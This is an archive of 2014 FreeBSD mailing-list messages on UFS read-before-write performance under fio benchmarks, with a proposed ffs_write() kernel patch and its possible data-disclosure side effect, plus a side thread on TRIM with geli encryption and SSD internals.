size is less > than the UFS block size. UFS has to read the block to ensure that > partial write does not corrupt the rest of the buffer. Thanks for the clarification, that makes sense. I'm not opening the file with O_DIRECT, so shouldn't the write be cached in memory and flushed to disk when we have the full block? It's a sequential write, so the whole block is going to be rewritten very soon. > > You can get the block size for file with stat(2), st_blksize field > of the struct stat, or using statfs(2), field f_iosize of struct > statfs, or just looking at the dumpfs output for your filesystem, > the bsize value. For modern UFS typical value is 32KB. Yes, block size is 32KB, checked with dumpfs. I've changed the block size in fio to 32k and then I get the expected results in iostat and fio: extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 112.1 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 111.7 97 write: io=10240MB, bw=81704KB/s, iops=2553, runt=128339msec Roger. From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 10:58:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A8BB5DE for ; Sat, 5 Jul 2014 10:58:11 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1B3402D3D for ; Sat, 5 Jul 2014 10:58:10 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s65Aw9oQ026901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Jul 2014 03:58:10 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s65Aw9TK026900; Sat, 5 Jul 2014 03:58:09 -0700 (PDT) (envelope-from jmg) Date: Sat, 5 Jul 2014 03:58:09 -0700 From: John-Mark Gurney To: Jesse Gooch Subject: Re: geli+trim support Message-ID: <20140705105809.GH45513@funkthat.com> Mail-Followup-To: Jesse Gooch , freebsd-hackers@freebsd.org References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53B750C1.8070706@gooch.io> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Sat, 05 Jul 2014 03:58:10 -0700 (PDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 10:58:11 -0000 Jesse Gooch wrote this message on Fri, Jul 04, 2014 at 18:11 -0700: > Hi, > > On 04/07/14 01:19 AM, Poul-Henning Kamp wrote: > > In message <53B6427D.1010403@gooch.io>, Jesse Gooch writes: > > > >> IIRC, TRIM is bad for encryption anyway. You want everything to be > >> random noise, even the empty sectors. TRIM defeats this. > > > > The problem is that there is nothing you can do. > > > > If you overwrite, your old sector is still unchanged somewhere in flash. > > > > If you TRIM, your old sector is still unchanged somewhere in flash, but > > if you're lucky for slightly less time. > > Perhaps I misunderstand TRIM, isn't the point of TRIM that it zeroes out > the sector ahead of time so it doesn't have to re-do it again when it > stores more data in that sector later? It is up the the implementation to choose what to do, depending upon spec.. For SATA, there are three options... One is non-deterministic read (meaning each read could return different data), one is deterministic read where each read returns the same value, but it is random data, and the third is data set to zero... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 11:24:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8045CA23; Sat, 5 Jul 2014 11:24:57 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 217112F24; Sat, 5 Jul 2014 11:24:56 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s65BOmC7050072 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Jul 2014 14:24:48 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s65BOmC7050072 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s65BOmDH050071; Sat, 5 Jul 2014 14:24:48 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 5 Jul 2014 14:24:48 +0300 From: Konstantin Belousov To: Roger Pau Monn? Subject: Re: Strange IO performance with UFS Message-ID: <20140705112448.GQ93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vXXM0T2D4JjNJBTG" Content-Disposition: inline In-Reply-To: <53B7D4DF.40301@citrix.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 11:24:57 -0000 --vXXM0T2D4JjNJBTG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: > On 05/07/14 11:58, Konstantin Belousov wrote: > > On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? wrote: > >> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a=20 > >> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46=20 > >> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2=20 > >> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166=20 > >> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22=20 > >> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173=20 > >> kernel`dofilewrite+0x85 kernel`kern_writev+0x65=20 > >> kernel`sys_write+0x63 > >>=20 > >> This can also be seen by running iostat in parallel with the fio > >> workload: > >>=20 > >> device r/s w/s kr/s kw/s qlen svc_t %b ada0 > >> 243.3 233.7 31053.3 29919.1 31 57.4 100 > >>=20 > >> This clearly shows that even when I was doing a sequential write > >> (the fio workload shown above), the disk was actually reading > >> more data than writing it, which makes no sense, and all the > >> reads come from the path trace shown above. > >=20 > > The backtrace above means that the BA_CLRBUF was specified for > > UFS_BALLOC(). In turns, this occurs when the write size is less > > than the UFS block size. UFS has to read the block to ensure that > > partial write does not corrupt the rest of the buffer. >=20 > Thanks for the clarification, that makes sense. I'm not opening the > file with O_DIRECT, so shouldn't the write be cached in memory and > flushed to disk when we have the full block? It's a sequential write, > so the whole block is going to be rewritten very soon. >=20 > >=20 > > You can get the block size for file with stat(2), st_blksize field > > of the struct stat, or using statfs(2), field f_iosize of struct > > statfs, or just looking at the dumpfs output for your filesystem, > > the bsize value. For modern UFS typical value is 32KB. >=20 > Yes, block size is 32KB, checked with dumpfs. I've changed the block > size in fio to 32k and then I get the expected results in iostat and fio: >=20 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 1.0 658.2 31.1 84245.1 58 108.4 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 689.8 0.0 88291.4 54 112.1 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 1.0 593.3 30.6 75936.9 80 111.7 97 >=20 > write: io=3D10240MB, bw=3D81704KB/s, iops=3D2553, runt=3D128339msec The current code in ffs_write() only avoids read before write when write covers complete block. I think we can somewhat loose the test to also avoid read when we are at EOF and write covers completely the valid portion of the last block. This leaves the unwritten portion of the block with the garbage. I believe that it is not harmful, since the only way for usermode to access that garbage is through the mmap(2). The vnode_generic_getpages() zeroes out parts of the page which are after EOF. Try this, almost completely untested: commit 30375741f5b15609e51cac5b242ecfe7d614e902 Author: Konstantin Belousov Date: Sat Jul 5 14:19:39 2014 +0300 Do not do read-before-write if the written area completely covers the valid portion of the block at EOF. diff --git a/sys/ufs/ffs/ffs_vnops.c b/sys/ufs/ffs/ffs_vnops.c index 423d811..b725932 100644 --- a/sys/ufs/ffs/ffs_vnops.c +++ b/sys/ufs/ffs/ffs_vnops.c @@ -729,10 +729,12 @@ ffs_write(ap) vnode_pager_setsize(vp, uio->uio_offset + xfersize); =20 /* - * We must perform a read-before-write if the transfer size - * does not cover the entire buffer. + * We must perform a read-before-write if the transfer + * size does not cover the entire buffer or the valid + * part of the last buffer for the file. */ - if (fs->fs_bsize > xfersize) + if (fs->fs_bsize > xfersize && (blkoffset !=3D 0 || + uio->uio_offset + xfersize < ip->i_size)) flags |=3D BA_CLRBUF; else flags &=3D ~BA_CLRBUF; --vXXM0T2D4JjNJBTG Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTt+B/AAoJEJDCuSvBvK1Bw04QAJxzmWigObOC25XA/oIPk9zF ti5DfuhZVa+8MfwfXRWGyEPN7wI0ZTU/ZHO0wotsq6BdckMOlKI+taGQFgaMTMfE NI5YZbU5N5fj68Oy0Txx8/FM8uj7M+IudOXLyKoWPUMFv+P/eQR3XhzYP7NLuCIC a+oLzLMM9doE5mwycYwqVIhMzJrOY7vgxZOwGS6iJ0nlH5pGsVEE0RWYIG6Y0EzD rNlQ1BkX/UUiLgZHFTA29965NMdQ8nyhKJlDcEvY8y65MofdXevEBLHBrIxcU70L u01OOusrofn/VjI4n6AXLCmGZwxxDpcyAVtFGfaWRQTzi/4kKVFg3os/NAkEaNTW +yYq8QUWuMz9CK6rmcTQZlP+ufUkSGo3MFrzlyURsbp8rSRKTFRZsDXwlyhkD5oA lDpiVnHj4DQuBTy3BNLkrwN50d8/ygZFd3Y5nmLgZyyUUucQz+KIROMQJrBDm8rg hpXD65PTRAyc6zJeVV0RZPHgdAf2TLx+3HQM3tFfL2NLMbTQ9zrgg/F2eOUzE2Rg oS0mNgQUutlDsrgTpL7VP0CtmCuGWX+tffhYLZXSt84G1RzXRxIkxJ9ngLvYoQxM zfnCAr2bty3MujR6L+fIgMjGDn06Qov0wcmnoRYB7NdzfPZgySbM4DLznC5u+wfj h5xNmy+wZ79mAEPufMHJ =XS/S -----END PGP SIGNATURE----- --vXXM0T2D4JjNJBTG-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 08:36:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EC4F2BEB for ; Sat, 5 Jul 2014 08:36:17 +0000 (UTC) Received: from phk.freebsd.dk (phk.freebsd.dk [130.225.244.222]) by mx1.freebsd.org (Postfix) with ESMTP id B11962370 for ; Sat, 5 Jul 2014 08:36:17 +0000 (UTC) Received: from critter.freebsd.dk (unknown [192.168.48.2]) by phk.freebsd.dk (Postfix) with ESMTP id E7CE31578; Sat, 5 Jul 2014 08:36:08 +0000 (UTC) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.14.9/8.14.9) with ESMTP id s658a7GI043223; Sat, 5 Jul 2014 08:36:08 GMT (envelope-from phk@phk.freebsd.dk) To: Jesse Gooch Subject: Re: geli+trim support In-reply-to: <53B750C1.8070706@gooch.io> From: "Poul-Henning Kamp" References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <43221.1404549367.1@critter.freebsd.dk> Date: Sat, 05 Jul 2014 08:36:07 +0000 Message-ID: <43222.1404549367@critter.freebsd.dk> X-Mailman-Approved-At: Sat, 05 Jul 2014 11:27:55 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 08:36:18 -0000 In message <53B750C1.8070706@gooch.io>, Jesse Gooch writes: >> If you TRIM, your old sector is still unchanged somewhere in flash, but >> if you're lucky for slightly less time. > >Perhaps I misunderstand TRIM, isn't the point of TRIM that it zeroes out >the sector ahead of time so it doesn't have to re-do it again when it >stores more data in that sector later? Yes. But "ahead of time" does not mean "now." It's a fairly lenghty explanation, but the short version is that TRIM'ing a sector means that the FTL knows you don't care about the contents of the sector, so it need not be preserved during "washes". When the washes actually happen depends on how large the actual free-pool is and very strongly on if an eraseblock happens to be all TRIM'ed and finally on the wear-levelling algorithm and the characteristics of the flash that informs it. There is no way to characterize any of these things, without full acces to the FLT. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 14:05:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9FF1E855; Sat, 5 Jul 2014 14:05:38 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 2FEED2D1B; Sat, 5 Jul 2014 14:05:36 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s65E3ugG030946 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Sat, 5 Jul 2014 14:03:57 GMT Date: Sat, 5 Jul 2014 17:05:24 +0300 From: Stefan Parvu To: Roger Pau =?ISO-8859-1?Q?Monn=E9?= Subject: Re: Strange IO performance with UFS Message-Id: <20140705170524.4212b6fa0b1046a33e1fc69a@systemdatarecorder.org> In-Reply-To: <53B7C616.1000702@citrix.com> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-fs@freebsd.org, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 14:05:38 -0000 > This looks much better than what I've saw in my benchmarks, how much > memory does the system have? We use on this system 64GB RAM. If you increase the block size in fio you should see better throughput, as you already found. Cool, you sorted out the thing. As a side note: interesting for us, was to discover that system usage between Debian 7 and FreeBSD was kind of different for our test workloads. Strange Linux system was around 3-4% system time, no matter what sort of block size or number of files we were pushing using hardware raid 10, resulting in a high iowait time and high run queue length (which on Linux systems adds to it the iowait). FreeBSD, I think, does not add to the run queue length the iowait processes waiting for a storage, network etc. Is this correct ? -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 14:24:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D6A3B227; Sat, 5 Jul 2014 14:24:45 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 9FCDD2EA1; Sat, 5 Jul 2014 14:24:45 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-250-191.lns20.per2.internode.on.net [121.45.250.191]) (authenticated bits=0) by vps1.elischer.org (8.14.9/8.14.9) with ESMTP id s65EOTci040172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sat, 5 Jul 2014 07:24:31 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53B80A97.1080803@freebsd.org> Date: Sat, 05 Jul 2014 22:24:23 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Konstantin Belousov , Roger Pau Monn? Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> In-Reply-To: <20140705112448.GQ93733@kib.kiev.ua> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 14:24:45 -0000 On 7/5/14, 7:24 PM, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: >> On 05/07/14 11:58, Konstantin Belousov wrote: >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? wrote: >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 >>>> kernel`sys_write+0x63 >>>> >>>> This can also be seen by running iostat in parallel with the fio >>>> workload: >>>> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0 >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 >>>> >>>> This clearly shows that even when I was doing a sequential write >>>> (the fio workload shown above), the disk was actually reading >>>> more data than writing it, which makes no sense, and all the >>>> reads come from the path trace shown above. >>> The backtrace above means that the BA_CLRBUF was specified for >>> UFS_BALLOC(). In turns, this occurs when the write size is less >>> than the UFS block size. UFS has to read the block to ensure that >>> partial write does not corrupt the rest of the buffer. >> Thanks for the clarification, that makes sense. I'm not opening the >> file with O_DIRECT, so shouldn't the write be cached in memory and >> flushed to disk when we have the full block? It's a sequential write, >> so the whole block is going to be rewritten very soon. >> >>> You can get the block size for file with stat(2), st_blksize field >>> of the struct stat, or using statfs(2), field f_iosize of struct >>> statfs, or just looking at the dumpfs output for your filesystem, >>> the bsize value. For modern UFS typical value is 32KB. >> Yes, block size is 32KB, checked with dumpfs. I've changed the block >> size in fio to 32k and then I get the expected results in iostat and fio: >> >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 1.0 658.2 31.1 84245.1 58 108.4 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 689.8 0.0 88291.4 54 112.1 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 1.0 593.3 30.6 75936.9 80 111.7 97 >> >> write: io=10240MB, bw=81704KB/s, iops=2553, runt=128339msec > The current code in ffs_write() only avoids read before write when > write covers complete block. I think we can somewhat loose the test > to also avoid read when we are at EOF and write covers completely > the valid portion of the last block. > > This leaves the unwritten portion of the block with the garbage. I > believe that it is not harmful, since the only way for usermode to > access that garbage is through the mmap(2). The vnode_generic_getpages() > zeroes out parts of the page which are after EOF. I have vague memories of this being in a security bulletin once along the lines of "random data disclosure" by making tons of 1 frag size files and then mmapping them. > > Try this, almost completely untested: > > commit 30375741f5b15609e51cac5b242ecfe7d614e902 > Author: Konstantin Belousov > Date: Sat Jul 5 14:19:39 2014 +0300 > > Do not do read-before-write if the written area completely covers > the valid portion of the block at EOF. > > diff --git a/sys/ufs/ffs/ffs_vnops.c b/sys/ufs/ffs/ffs_vnops.c > index 423d811..b725932 100644 > --- a/sys/ufs/ffs/ffs_vnops.c > +++ b/sys/ufs/ffs/ffs_vnops.c > @@ -729,10 +729,12 @@ ffs_write(ap) > vnode_pager_setsize(vp, uio->uio_offset + xfersize); > > /* > - * We must perform a read-before-write if the transfer size > - * does not cover the entire buffer. > + * We must perform a read-before-write if the transfer > + * size does not cover the entire buffer or the valid > + * part of the last buffer for the file. > */ > - if (fs->fs_bsize > xfersize) > + if (fs->fs_bsize > xfersize && (blkoffset != 0 || > + uio->uio_offset + xfersize < ip->i_size)) > flags |= BA_CLRBUF; > else > flags &= ~BA_CLRBUF; From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 16:18:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 83AAFD1F; Sat, 5 Jul 2014 16:18:21 +0000 (UTC) Received: from SMTP02.CITRIX.COM (smtp02.citrix.com [66.165.176.63]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6DC402734; Sat, 5 Jul 2014 16:18:19 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,608,1400025600"; d="scan'208";a="150149047" Received: from accessns.citrite.net (HELO FTLPEX01CL02.citrite.net) ([10.9.154.239]) by FTLPIPO02.CITRIX.COM with ESMTP; 05 Jul 2014 16:18:11 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.79) with Microsoft SMTP Server id 14.3.181.6; Sat, 5 Jul 2014 12:18:10 -0400 Message-ID: <53B8253F.5060403@citrix.com> Date: Sat, 5 Jul 2014 18:18:07 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> In-Reply-To: <20140705112448.GQ93733@kib.kiev.ua> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-DLP: MIA1 Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 16:18:21 -0000 On 05/07/14 13:24, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: >> On 05/07/14 11:58, Konstantin Belousov wrote: >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? >>> wrote: >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 >>>> kernel`sys_write+0x63 >>>> >>>> This can also be seen by running iostat in parallel with the >>>> fio workload: >>>> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0 >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 >>>> >>>> This clearly shows that even when I was doing a sequential >>>> write (the fio workload shown above), the disk was actually >>>> reading more data than writing it, which makes no sense, and >>>> all the reads come from the path trace shown above. >>> >>> The backtrace above means that the BA_CLRBUF was specified for >>> UFS_BALLOC(). In turns, this occurs when the write size is >>> less than the UFS block size. UFS has to read the block to >>> ensure that partial write does not corrupt the rest of the >>> buffer. >> >> Thanks for the clarification, that makes sense. I'm not opening >> the file with O_DIRECT, so shouldn't the write be cached in >> memory and flushed to disk when we have the full block? It's a >> sequential write, so the whole block is going to be rewritten >> very soon. >> >>> >>> You can get the block size for file with stat(2), st_blksize >>> field of the struct stat, or using statfs(2), field f_iosize of >>> struct statfs, or just looking at the dumpfs output for your >>> filesystem, the bsize value. For modern UFS typical value is >>> 32KB. >> >> Yes, block size is 32KB, checked with dumpfs. I've changed the >> block size in fio to 32k and then I get the expected results in >> iostat and fio: >> >> extended device statistics device r/s w/s kr/s kw/s >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 >> 101 extended device statistics device r/s w/s kr/s >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 >> 112.1 99 extended device statistics device r/s w/s kr/s >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 >> 111.7 97 >> >> write: io=10240MB, bw=81704KB/s, iops=2553, runt=128339msec > > The current code in ffs_write() only avoids read before write when > write covers complete block. I think we can somewhat loose the > test to also avoid read when we are at EOF and write covers > completely the valid portion of the last block. > > This leaves the unwritten portion of the block with the garbage. I > believe that it is not harmful, since the only way for usermode to > access that garbage is through the mmap(2). The > vnode_generic_getpages() zeroes out parts of the page which are > after EOF. > > Try this, almost completely untested: Doesn't seem to help much, I'm still seeing the same issue. I'm sampling iostat every 